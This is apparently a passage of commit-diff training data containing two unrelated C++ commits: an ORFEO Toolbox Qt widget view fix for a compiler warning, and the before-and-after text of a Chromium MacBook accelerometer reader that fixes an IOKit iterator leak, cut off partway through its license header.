SIGNAL(SetApplicationReady(bool)), m_ExecButton, SLOT(setEnabled(bool)) );\n connect( m_ExecButton, SIGNAL(clicked()), this, SLOT(UpdateMessageAfterExcuteClicked() ) );\n\n m_QuitButton = new QPushButton(footerGroup);\n m_QuitButton->setText(QObject::tr(\"Quit\"));\n connect( m_QuitButton, SIGNAL(clicked()), this, SLOT(CloseSlot()) );\n\n \/\/ Put the buttons on the right\n footerLayout->addStretch();\n footerLayout->addWidget(m_ExecButton);\n footerLayout->addWidget(m_QuitButton);\n\n footerGroup->setLayout(footerLayout);\n\n return footerGroup;\n}\n\nQWidget* QtWidgetView::CreateDoc()\n{\n QTextEdit *text = new QTextEdit;\n text->setReadOnly(true);\n\n QTextDocument * doc = new QTextDocument();\n itk::OStringStream oss;\n oss << \"<center><h2>\" << m_Application->GetDocName() << \"<\/center><\/h2>\";\n oss << \"<h3>Brief Description<\/h3>\";\n oss << \"<body>\" << m_Application->GetDescription() << \"<\/body>\";\n oss << \"<h3>Tags<\/h3>\";\n oss << \"<body>\";\n if (m_Application->GetDocTags().size() > 0)\n {\n for (unsigned int i = 0; i < m_Application->GetDocTags().size() - 1; i++)\n {\n oss << m_Application->GetDocTags()[i] << \", \";\n ;\n }\n oss << m_Application->GetDocTags()[m_Application->GetDocTags().size() - 1];\n }\n oss << \"<\/body>\";\n\n oss << \"<h3>Long Description<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocLongDescription() << \"<\/body>\";\n\n std::string val;\n this->SetDocParameters(val);\n oss << val;\n\n oss << \"<h3>Limitations<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocLimitations() << \"<\/body>\";\n oss << \"<h3>Authors<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocAuthors() << \"<\/body>\";\n oss << \"<h3>See also<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocSeeAlso() << \"<\/body>\";\n oss << \"<h3>Command line example<\/h3>\";\n oss << \"<code>\" << m_Application->GetDocCLExample() << \"<\/code>\";\n\n doc->setHtml(oss.str().c_str());\n\n text->setDocument(doc);\n\n\n \/\/std::cout<<text->toHtml().toStdString()<<std::endl;\n\n return text;\n}\n\nvoid QtWidgetView::SetDocParameters( std::string & val )\n{\n const std::vector<std::string> appKeyList = m_Application->GetParametersKeys( false );\n const unsigned int nbOfParam = appKeyList.size();\n \n itk::OStringStream oss;\n oss << \"<h3>Parameters<\/h3>\";\n \n \/\/ Mandatory parameters\n oss << \"<h4>Mandatory parameters<\/h4>\";\n std::string paramDocs(\"\");\n\n this->GetDocParameters( paramDocs, true );\n oss<<paramDocs;\n\n paramDocs =\"\";\n\n \/\/ Optional parameters\n oss << \"<h4>Optional parameters<\/h4>\";\n oss << \"<body><li>\";\n\n this->GetDocParameters( paramDocs, false );\n\n oss<<paramDocs;\n \n val.append(oss.str());\n}\n\nvoid QtWidgetView::GetDocParameters( std::string & val, bool mandatory)\n{\n itk::OStringStream oss;\n const std::vector<std::string> appKeyList = m_Application->GetParametersKeys( false );\n const unsigned int nbOfParam = appKeyList.size();\n \n std::string paramDocs(\"\");\n for( unsigned int i=0; i<nbOfParam; i++ )\n {\n const std::string key(appKeyList[i]);\n Parameter::Pointer param = m_Application->GetParameterByKey( key );\n if( param->GetMandatory() == mandatory )\n {\n if( m_Application->GetParameterType(key) != ParameterType_Group )\n {\n oss << \"<i>\" << param->GetName() << \":<\/i><br \/>\";\n oss << param->GetDescription()<< \"<br \/>\";\n oss << \"<br \/>\";\n }\n else\n {\n oss << \"<b><i>=== \"<<param->GetName()<<\"<\/i><\/b> (\"<<param->GetDescription()<<\"):<br \/>\";\n std::string grDoc;\n GetDocParameterGroup( grDoc, key, 1);\n oss<<grDoc;\n }\n }\n }\n \n if( oss.str() == \"\" )\n oss << \"None\";\n\n val = oss.str();\n}\n\n\nvoid QtWidgetView::GetDocParameterGroup( std::string & val, const std::string & key, int level )\n{\n std::string spaces, equals;\n for(unsigned int i=0; i<level; i++)\n {\n spaces.append(\"           \");\n equals.append(\"===\");\n }\n equals.append(\"===\");\n\n Parameter * paramGr = m_Application->GetParameterByKey( key );\n if( !dynamic_cast<ParameterGroup *>(paramGr) )\n {\n itkGenericExceptionMacro(\"Invlaid parameter type for key \"<<key<<\", wait for ParameterGroup...\");\n }\n\n ParameterGroup * group = dynamic_cast<ParameterGroup *>(paramGr);\n const std::vector<std::string> appKeyList = group->GetParametersKeys( false );\n unsigned int nbOfParam = appKeyList.size();\n itk::OStringStream oss;\n for( unsigned int i=0; i<nbOfParam; i++ )\n {\n const std::string fullKey(std::string(key).append(\".\").append(appKeyList[i]));\n Parameter::Pointer param = m_Application->GetParameterByKey( fullKey );\n if( m_Application->GetParameterType(fullKey) != ParameterType_Group )\n {\n oss << \"<i>\" << spaces << param->GetName()<< \":<\/i><br \/>\";\n oss << spaces << param->GetDescription()<<\"<br>\";\n oss << \"<br \/>\";\n }\n else\n {\n oss << \"<b><i>\" << equals << param->GetName()<<\"<\/i><\/b> (\"<<param->GetDescription()<<\")<br \/>\";\n std::string grDoc;\n GetDocParameterGroup( grDoc, fullKey, level+1);\n oss<<grDoc;\n }\n }\n val.append(oss.str());\n}\n\n\nvoid QtWidgetView::CloseSlot()\n{\n \/\/ Close the widget\n this->close();\n\n \/\/ Emit a signal to close any widget that this gui belonging to\n emit QuitSignal();\n}\n\n}\n}\n<commit_msg>WRG: remove warning.<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbWrapperQtWidgetView.h\"\n\n#include \"otbWrapperQtWidgetParameterGroup.h\"\n#include \"otbWrapperQtWidgetParameterFactory.h\"\n#include \"otbWrapperQtWidgetProgressReport.h\"\n#include \"otbWrapperOutputImageParameter.h\"\n#include \"otbWrapperParameterGroup.h\"\n#include \"otbWrapperQtWidgetSimpleProgressReport.h\"\n\n#include \"itksys\/SystemTools.hxx\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nQtWidgetView::QtWidgetView(Application* app)\n{\n m_Model = new QtWidgetModel(app);\n m_Application = app;\n}\n\nQtWidgetView::~QtWidgetView()\n{\n\n}\n\nvoid QtWidgetView::CreateGui()\n{\n \/\/ Create a VBoxLayout with the header, the input widgets, and the footer\n QVBoxLayout *mainLayout = new QVBoxLayout();\n QTabWidget *tab = new QTabWidget();\n \n tab->addTab(CreateInputWidgets(), \"Parameters\");\n QTextEdit *log = new QTextEdit();\n connect( m_Model->GetLogOutput(), SIGNAL(NewContentLog(QString)), log, SLOT(append(QString) ) );\n tab->addTab(log, \"Logs\");\n QtWidgetProgressReport* prog = new QtWidgetProgressReport(m_Model);\n prog->SetApplication(m_Application);\n tab->addTab(prog, \"Progress\");\n tab->addTab(CreateDoc(), \"Documentation\");\n mainLayout->addWidget(tab);\n\n m_Message = new QLabel(\"<center><font color=\\\"#FF0000\\\">Select parameters<\/font><\/center>\");\n connect( m_Model, SIGNAL(SetApplicationReady(bool)), this, SLOT(UpdateMessageAfterApplicationReady(bool)) );\n mainLayout->addWidget(m_Message);\n\n QtWidgetSimpleProgressReport * progressReport = new QtWidgetSimpleProgressReport(m_Model);\n progressReport->SetApplication(m_Application);\n \n QHBoxLayout *footLayout = new QHBoxLayout;\n footLayout->addWidget(progressReport);\n footLayout->addWidget(CreateFooter());\n mainLayout->addLayout(footLayout);\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(mainLayout);\n\n QVBoxLayout *finalLayout = new QVBoxLayout();\n finalLayout->addWidget(mainGroup);\n\n \/\/ Make the final layout to the widget\n this->setLayout(finalLayout);\n}\n\nvoid QtWidgetView::UpdateMessageAfterExcuteClicked()\n{\n m_Message->setText(\"<center><font color=\\\"#FF0000\\\">Running<\/font><\/center>\");\n}\n\nvoid QtWidgetView::UpdateMessageAfterApplicationReady( bool val )\n{\n if(val == true)\n m_Message->setText(\"<center><font color=\\\"#00FF00\\\">Ready to run<\/font><\/center>\");\n else\n m_Message->setText(\"<center><font color=\\\"#FF0000\\\">Select parameters<\/font><\/center>\");\n}\n\nQWidget* QtWidgetView::CreateInputWidgets()\n{\n QScrollArea *scrollArea = new QScrollArea;\n \/\/ Put the main group inside a scroll area\n scrollArea->setWidget(QtWidgetParameterFactory::CreateQtWidget(m_Model->GetApplication()->GetParameterList(), m_Model));\n scrollArea->setHorizontalScrollBarPolicy(Qt::ScrollBarAsNeeded);\n scrollArea->setVerticalScrollBarPolicy(Qt::ScrollBarAsNeeded);\n scrollArea->setWidgetResizable(true);\n\n return scrollArea;\n}\n\n\nQWidget* QtWidgetView::CreateFooter()\n{\n \/\/ an HLayout with two buttons : Execute and Quit\n QGroupBox *footerGroup = new QGroupBox;\n QHBoxLayout *footerLayout = new QHBoxLayout;\n \n footerGroup->setFixedHeight(40);\n footerGroup->setContentsMargins(0, 0, 0, 0);\n footerLayout->setContentsMargins(5, 5, 5, 5);\n\n m_ExecButton = new QPushButton(footerGroup);\n m_ExecButton->setDefault(true);\n m_ExecButton->setEnabled(false);\n m_ExecButton->setText(QObject::tr(\"Execute\"));\n connect( m_ExecButton, SIGNAL(clicked()), m_Model, SLOT(ExecuteAndWriteOutputSlot() ) );\n connect( m_Model, SIGNAL(SetApplicationReady(bool)), m_ExecButton, SLOT(setEnabled(bool)) );\n connect( m_ExecButton, SIGNAL(clicked()), this, SLOT(UpdateMessageAfterExcuteClicked() ) );\n\n m_QuitButton = new QPushButton(footerGroup);\n m_QuitButton->setText(QObject::tr(\"Quit\"));\n connect( m_QuitButton, SIGNAL(clicked()), this, SLOT(CloseSlot()) );\n\n \/\/ Put the buttons on the right\n footerLayout->addStretch();\n footerLayout->addWidget(m_ExecButton);\n footerLayout->addWidget(m_QuitButton);\n\n footerGroup->setLayout(footerLayout);\n\n return footerGroup;\n}\n\nQWidget* QtWidgetView::CreateDoc()\n{\n QTextEdit *text = new QTextEdit;\n text->setReadOnly(true);\n\n QTextDocument * doc = new QTextDocument();\n itk::OStringStream oss;\n oss << \"<center><h2>\" << m_Application->GetDocName() << \"<\/center><\/h2>\";\n oss << \"<h3>Brief Description<\/h3>\";\n oss << \"<body>\" << m_Application->GetDescription() << \"<\/body>\";\n oss << \"<h3>Tags<\/h3>\";\n oss << \"<body>\";\n if (m_Application->GetDocTags().size() > 0)\n {\n for (unsigned int i = 0; i < m_Application->GetDocTags().size() - 1; i++)\n {\n oss << m_Application->GetDocTags()[i] << \", \";\n ;\n }\n oss << m_Application->GetDocTags()[m_Application->GetDocTags().size() - 1];\n }\n oss << \"<\/body>\";\n\n oss << \"<h3>Long Description<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocLongDescription() << \"<\/body>\";\n\n std::string val;\n this->SetDocParameters(val);\n oss << val;\n\n oss << \"<h3>Limitations<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocLimitations() << \"<\/body>\";\n oss << \"<h3>Authors<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocAuthors() << \"<\/body>\";\n oss << \"<h3>See also<\/h3>\";\n oss << \"<body>\" << m_Application->GetDocSeeAlso() << \"<\/body>\";\n oss << \"<h3>Command line example<\/h3>\";\n oss << \"<code>\" << m_Application->GetDocCLExample() << \"<\/code>\";\n\n doc->setHtml(oss.str().c_str());\n\n text->setDocument(doc);\n\n\n \/\/std::cout<<text->toHtml().toStdString()<<std::endl;\n\n return text;\n}\n\nvoid QtWidgetView::SetDocParameters( std::string & val )\n{\n const std::vector<std::string> appKeyList = m_Application->GetParametersKeys( false );\n const unsigned int nbOfParam = appKeyList.size();\n \n itk::OStringStream oss;\n oss << \"<h3>Parameters<\/h3>\";\n \n \/\/ Mandatory parameters\n oss << \"<h4>Mandatory parameters<\/h4>\";\n std::string paramDocs(\"\");\n\n this->GetDocParameters( paramDocs, true );\n oss<<paramDocs;\n\n paramDocs =\"\";\n\n \/\/ Optional parameters\n oss << \"<h4>Optional parameters<\/h4>\";\n oss << \"<body><li>\";\n\n this->GetDocParameters( paramDocs, false );\n\n oss<<paramDocs;\n \n val.append(oss.str());\n}\n\nvoid QtWidgetView::GetDocParameters( std::string & val, bool mandatory)\n{\n itk::OStringStream oss;\n const std::vector<std::string> appKeyList = m_Application->GetParametersKeys( false );\n const unsigned int nbOfParam = appKeyList.size();\n \n std::string paramDocs(\"\");\n for( unsigned int i=0; i<nbOfParam; i++ )\n {\n const std::string key(appKeyList[i]);\n Parameter::Pointer param = m_Application->GetParameterByKey( key );\n if( param->GetMandatory() == mandatory )\n {\n if( m_Application->GetParameterType(key) != ParameterType_Group )\n {\n oss << \"<i>\" << param->GetName() << \":<\/i><br \/>\";\n oss << param->GetDescription()<< \"<br \/>\";\n oss << \"<br \/>\";\n }\n else\n {\n oss << \"<b><i>=== \"<<param->GetName()<<\"<\/i><\/b> (\"<<param->GetDescription()<<\"):<br \/>\";\n std::string grDoc;\n GetDocParameterGroup( grDoc, key, 1);\n oss<<grDoc;\n }\n }\n }\n \n if( oss.str() == \"\" )\n oss << \"None\";\n\n val = oss.str();\n}\n\n\nvoid QtWidgetView::GetDocParameterGroup( std::string & val, const std::string & key, int level )\n{\n std::string spaces, equals;\n for(int i=0; i<level; i++)\n {\n spaces.append(\"           \");\n equals.append(\"===\");\n }\n equals.append(\"===\");\n\n Parameter * paramGr = m_Application->GetParameterByKey( key );\n if( !dynamic_cast<ParameterGroup *>(paramGr) )\n {\n itkGenericExceptionMacro(\"Invlaid parameter type for key \"<<key<<\", wait for ParameterGroup...\");\n }\n\n ParameterGroup * group = dynamic_cast<ParameterGroup *>(paramGr);\n const std::vector<std::string> appKeyList = group->GetParametersKeys( false );\n unsigned int nbOfParam = appKeyList.size();\n itk::OStringStream oss;\n for( unsigned int i=0; i<nbOfParam; i++ )\n {\n const std::string fullKey(std::string(key).append(\".\").append(appKeyList[i]));\n Parameter::Pointer param = m_Application->GetParameterByKey( fullKey );\n if( m_Application->GetParameterType(fullKey) != ParameterType_Group )\n {\n oss << \"<i>\" << spaces << param->GetName()<< \":<\/i><br \/>\";\n oss << spaces << param->GetDescription()<<\"<br>\";\n oss << \"<br \/>\";\n }\n else\n {\n oss << \"<b><i>\" << equals << param->GetName()<<\"<\/i><\/b> (\"<<param->GetDescription()<<\")<br \/>\";\n std::string grDoc;\n GetDocParameterGroup( grDoc, fullKey, level+1);\n oss<<grDoc;\n }\n }\n val.append(oss.str());\n}\n\n\nvoid QtWidgetView::CloseSlot()\n{\n \/\/ Close the widget\n this->close();\n\n \/\/ Emit a signal to close any widget that this gui belonging to\n emit QuitSignal();\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ This file is based on the SMSLib library.\n\/\/\n\/\/ SMSLib Sudden Motion Sensor Access Library\n\/\/ Copyright (c) 2010 Suitable Systems\n\/\/ All rights reserved.\n\/\/\n\/\/ Developed by: Daniel Griscom\n\/\/ Suitable Systems\n\/\/ http:\/\/www.suitable.com\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal with the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject to\n\/\/ the following conditions:\n\/\/\n\/\/ - Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimers.\n\/\/\n\/\/ - Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimers in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ - Neither the names of Suitable Systems nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this Software without specific prior written permission.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n\/\/ IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR\n\/\/ ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n\/\/ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n\/\/ SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE SOFTWARE.\n\/\/\n\/\/ For more information about SMSLib, see\n\/\/ <http:\/\/www.suitable.com\/tools\/smslib.html>\n\/\/ or contact\n\/\/ Daniel Griscom\n\/\/ Suitable Systems\n\/\/ 1 Centre Street, Suite 204\n\/\/ Wakefield, MA 01880\n\/\/ (781) 665-0053\n\n#include \"chrome\/browser\/device_orientation\/accelerometer_mac.h\"\n\n#include <math.h> \/\/ For isfinite.\n#include <sys\/sysctl.h>\n\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"chrome\/browser\/device_orientation\/orientation.h\"\n\nnamespace device_orientation {\n\nstruct AccelerometerMac::GenericMacbookSensor {\n \/\/ Name of device to be read.\n const char* service_name;\n\n \/\/ Number of bytes of the axis data.\n int axis_size;\n\n \/\/ Default calibration value for zero g.\n float zero_g;\n\n \/\/ Default calibration value for one g (negative when axis is inverted).\n float one_g;\n\n \/\/ Kernel function index.\n unsigned int function;\n\n \/\/ Size of the sensor record to be sent\/received.\n unsigned int record_size;\n};\n\nstruct AccelerometerMac::AxisData {\n \/\/ Location of the first byte representing the axis in the sensor data.\n int index;\n\n \/\/ Axis inversion flag. The value changes often between models.\n bool inverted;\n};\n\n\/\/ Sudden Motion Sensor descriptor.\nstruct AccelerometerMac::SensorDescriptor {\n \/\/ Prefix of model to be tested.\n const char* model_name;\n\n \/\/ Axis-specific data (x,y,z order).\n AxisData axis[3];\n};\n\n\/\/ Typical sensor parameters in MacBook models.\nconst AccelerometerMac::GenericMacbookSensor\n AccelerometerMac::kGenericSensor = {\n \"SMCMotionSensor\", 2,\n 0, 251,\n 5, 40\n};\n\n\/\/ Supported sensor descriptors. Add entries here to enhance compatibility.\n\/\/ All non-tested entries from SMSLib have been removed.\nconst AccelerometerMac::SensorDescriptor\n AccelerometerMac::kSupportedSensors[] = {\n \/\/ Tested by S.Selz. (via avi) on a 13\" MacBook.\n { \"MacBook2,1\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by avi on a 13\" MacBook.\n { \"MacBook7,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by sfiera, pjw on a 13\" MacBook Air.\n { \"MacBookAir2,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Note: MacBookAir3,1 (11\" MacBook Air) and MacBookAir3,2 (13\" MacBook Air)\n \/\/ have no accelerometer sensors.\n\n \/\/ Not tested; data acquired by avi from L.V. from a 17\" MacBook Pro.\n { \"MacBookPro2,1\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro2,2\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n \/\/ TODO(avi): this model name was also used for the 17\" version; verify that\n \/\/ these parameters are also valid for that model.\n { \"MacBookPro3,1\", { { 0, false }, { 2, true }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n \/\/ TODO(avi): this model name was also used for the 17\" version; verify that\n \/\/ these parameters are also valid for that model.\n { \"MacBookPro4,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro5,1\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by S.Selz. (via avi) on a 15\" MacBook Pro.\n { \"MacBookPro5,2\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by dmaclach on a 15\" MacBook Pro.\n { \"MacBookPro5,3\", { { 2, false }, { 0, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro5,4\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 13\" MacBook Pro.\n { \"MacBookPro5,5\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by khom, leadpipe on a 17\" MacBook Pro.\n { \"MacBookPro6,1\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro6,2\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 13\" MacBook Pro.\n { \"MacBookPro7,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Generic MacBook accelerometer sensor data, used for for both future models\n \/\/ and past models for which there has been no testing. Note that this generic\n \/\/ configuration may well have problems with inverted axes.\n \/\/ TODO(avi): Find these past models and test on them; test on future models.\n \/\/ MacBook1,1\n \/\/ MacBook3,1\n \/\/ MacBook4,1\n \/\/ MacBook5,1\n \/\/ MacBook5,2\n \/\/ MacBook6,1\n \/\/ MacBookAir1,1\n \/\/ MacBookPro1,1\n \/\/ MacBookPro1,2\n \/\/ MacBookPro5,2\n { \"\", { { 0, true }, { 2, true }, { 4, false } } }\n};\n\n\/\/ Create a AccelerometerMac object and return NULL if no valid sensor found.\nDataFetcher* AccelerometerMac::Create() {\n scoped_ptr<AccelerometerMac> accelerometer(new AccelerometerMac);\n return accelerometer->Init() ? accelerometer.release() : NULL;\n}\n\nAccelerometerMac::~AccelerometerMac() {\n IOServiceClose(io_connection_);\n}\n\nAccelerometerMac::AccelerometerMac()\n : sensor_(NULL),\n io_connection_(0) {\n}\n\n\/\/ Retrieve per-axis accelerometer values.\n\/\/\n\/\/ Axes and angles are defined according to the W3C DeviceOrientation Draft.\n\/\/ See here: http:\/\/dev.w3.org\/geo\/api\/spec-source-orientation.html\n\/\/\n\/\/ Note: only beta and gamma angles are provided. Alpha is set to zero.\n\/\/\n\/\/ Returns false in case of error or non-properly initialized object.\n\/\/\nbool AccelerometerMac::GetOrientation(Orientation* orientation) {\n DCHECK(sensor_);\n\n \/\/ Reset output record memory buffer.\n std::fill(output_record_.begin(), output_record_.end(), 0x00);\n\n \/\/ Read record data from memory.\n const size_t kInputSize = kGenericSensor.record_size;\n size_t output_size = kGenericSensor.record_size;\n\n if (IOConnectCallStructMethod(io_connection_, kGenericSensor.function,\n static_cast<const char *>(&input_record_[0]), kInputSize,\n &output_record_[0], &output_size) != KERN_SUCCESS) {\n return false;\n }\n\n \/\/ Calculate per-axis calibrated values.\n float axis_value[3];\n\n for (int i = 0; i < 3; ++i) {\n int sensor_value = 0;\n int size = kGenericSensor.axis_size;\n int index = sensor_->axis[i].index;\n\n \/\/ Important Note: little endian is assumed as this code is mac-only\n \/\/ and PowerPC is currently not supported.\n memcpy(&sensor_value, &output_record_[index], size);\n\n sensor_value = ExtendSign(sensor_value, size);\n\n \/\/ Correct value using the current calibration.\n axis_value[i] = static_cast<float>(sensor_value - kGenericSensor.zero_g) \/\n kGenericSensor.one_g;\n\n \/\/ Make sure we reject any NaN or infinite values.\n if (!isfinite(axis_value[i]))\n return false;\n\n \/\/ Clamp value to the [-1, 1] range.\n if (axis_value[i] < -1.0)\n axis_value[i] = -1.0;\n else if (axis_value[i] > 1.0)\n axis_value[i] = 1.0;\n\n \/\/ Apply axis inversion.\n if (sensor_->axis[i].inverted)\n axis_value[i] = -axis_value[i];\n }\n\n \/\/ Transform the accelerometer values to W3C draft angles.\n \/\/\n \/\/ Accelerometer values are just dot products of the sensor axes\n \/\/ by the gravity vector 'g' with the result for the z axis inverted.\n \/\/\n \/\/ To understand this transformation calculate the 3rd row of the z-x-y\n \/\/ Euler angles rotation matrix (because of the 'g' vector, only 3rd row\n \/\/ affects to the result). Note that z-x-y matrix means R = Ry * Rx * Rz.\n \/\/ Then, assume alpha = 0 and you get this:\n \/\/\n \/\/ x_acc = sin(gamma)\n \/\/ y_acc = - cos(gamma) * sin(beta)\n \/\/ z_acc = cos(beta) * cos(gamma)\n \/\/\n \/\/ After that the rest is just a bit of trigonometry.\n \/\/\n \/\/ Also note that alpha can't be provided but it's assumed to be always zero.\n \/\/ This is necessary in order to provide enough information to solve\n \/\/ the equations.\n \/\/\n const double kRad2deg = 180.0 \/ M_PI;\n\n orientation->alpha_ = 0.0;\n orientation->beta_ = kRad2deg * atan2(-axis_value[1], axis_value[2]);\n orientation->gamma_ = kRad2deg * asin(axis_value[0]);\n\n \/\/ Make sure that the interval boundaries comply with the specification.\n if (orientation->beta_ >= 180.0)\n orientation->beta_ -= 360.0;\n if (orientation->gamma_ >= 90.0)\n orientation->gamma_ -= 180.0;\n\n DCHECK_GE(orientation->beta_, -180.0);\n DCHECK_LT(orientation->beta_, 180.0);\n DCHECK_GE(orientation->gamma_, -90.0);\n DCHECK_LT(orientation->gamma_, 90.0);\n\n orientation->can_provide_alpha_ = false;\n orientation->can_provide_beta_ = true;\n orientation->can_provide_gamma_ = true;\n\n return true;\n}\n\n\/\/ Probe the local hardware looking for a supported sensor device\n\/\/ and initialize an I\/O connection to it.\nbool AccelerometerMac::Init() {\n \/\/ Allocate local variables for model name string (size from SMSLib).\n static const int kNameSize = 32;\n char local_model[kNameSize];\n\n \/\/ Request model name to the kernel.\n size_t name_size = kNameSize;\n int params[2] = { CTL_HW, HW_MODEL };\n if (sysctl(params, 2, local_model, &name_size, NULL, 0) != 0)\n return NULL;\n\n const SensorDescriptor* sensor_candidate = NULL;\n\n \/\/ Look for the current model in the supported sensor list.\n io_object_t device = 0;\n const int kNumSensors = arraysize(kSupportedSensors);\n\n for (int i = 0; i < kNumSensors; ++i) {\n \/\/ Check if the supported sensor model name is a prefix\n \/\/ of the local hardware model (empty names are accepted).\n const char* p1 = kSupportedSensors[i].model_name;\n for (const char* p2 = local_model; *p1 != '\\0' && *p1 == *p2; ++p1, ++p2)\n continue;\n if (*p1 != '\\0')\n continue;\n\n \/\/ Local hardware found in the supported sensor list.\n sensor_candidate = &kSupportedSensors[i];\n\n \/\/ Get a dictionary of the services matching to the one in the sensor.\n CFMutableDictionaryRef dict =\n IOServiceMatching(kGenericSensor.service_name);\n if (dict == NULL)\n continue;\n\n \/\/ Get an iterator for the matching services.\n io_iterator_t device_iterator;\n if (IOServiceGetMatchingServices(kIOMasterPortDefault, dict,\n &device_iterator) != KERN_SUCCESS) {\n continue;\n }\n\n \/\/ Get the first device in the list.\n if ((device = IOIteratorNext(device_iterator)) == 0)\n continue;\n\n \/\/ Try to open device.\n kern_return_t result;\n result = IOServiceOpen(device, mach_task_self(), 0, &io_connection_);\n IOObjectRelease(device);\n if (result != KERN_SUCCESS || io_connection_ == 0)\n return false;\n\n \/\/ Local sensor service confirmed by IOKit.\n sensor_ = sensor_candidate;\n break;\n }\n\n if (sensor_ == NULL)\n return false;\n\n \/\/ Allocate and initialize input\/output records.\n input_record_.resize(kGenericSensor.record_size, 0x01);\n output_record_.resize(kGenericSensor.record_size, 0x00);\n\n \/\/ Try to retrieve the current orientation.\n Orientation test_orientation;\n return GetOrientation(&test_orientation);\n}\n\n\/\/ Extend the sign of an integer of less than 32 bits to a 32-bit integer.\nint AccelerometerMac::ExtendSign(int value, size_t size) {\n switch (size) {\n case 1:\n if (value & 0x00000080)\n return value | 0xffffff00;\n break;\n\n case 2:\n if (value & 0x00008000)\n return value | 0xffff0000;\n break;\n\n case 3:\n if (value & 0x00800000)\n return value | 0xff000000;\n break;\n\n default:\n LOG(FATAL) << \"Invalid integer size for sign extension: \" << size;\n }\n\n return value;\n}\n\n} \/\/ namespace device_orientation\n<commit_msg>Accelerometer: Fix IOKit iterator leak, note that a configuration is verified.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ This file is based on the SMSLib library.\n\/\/\n\/\/ SMSLib Sudden Motion Sensor Access Library\n\/\/ Copyright (c) 2010 Suitable Systems\n\/\/ All rights reserved.\n\/\/\n\/\/ Developed by: Daniel Griscom\n\/\/ Suitable Systems\n\/\/ http:\/\/www.suitable.com\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal with the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject to\n\/\/ the following conditions:\n\/\/\n\/\/ - Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimers.\n\/\/\n\/\/ - Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimers in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ - Neither the names of Suitable Systems nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this Software without specific prior written permission.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 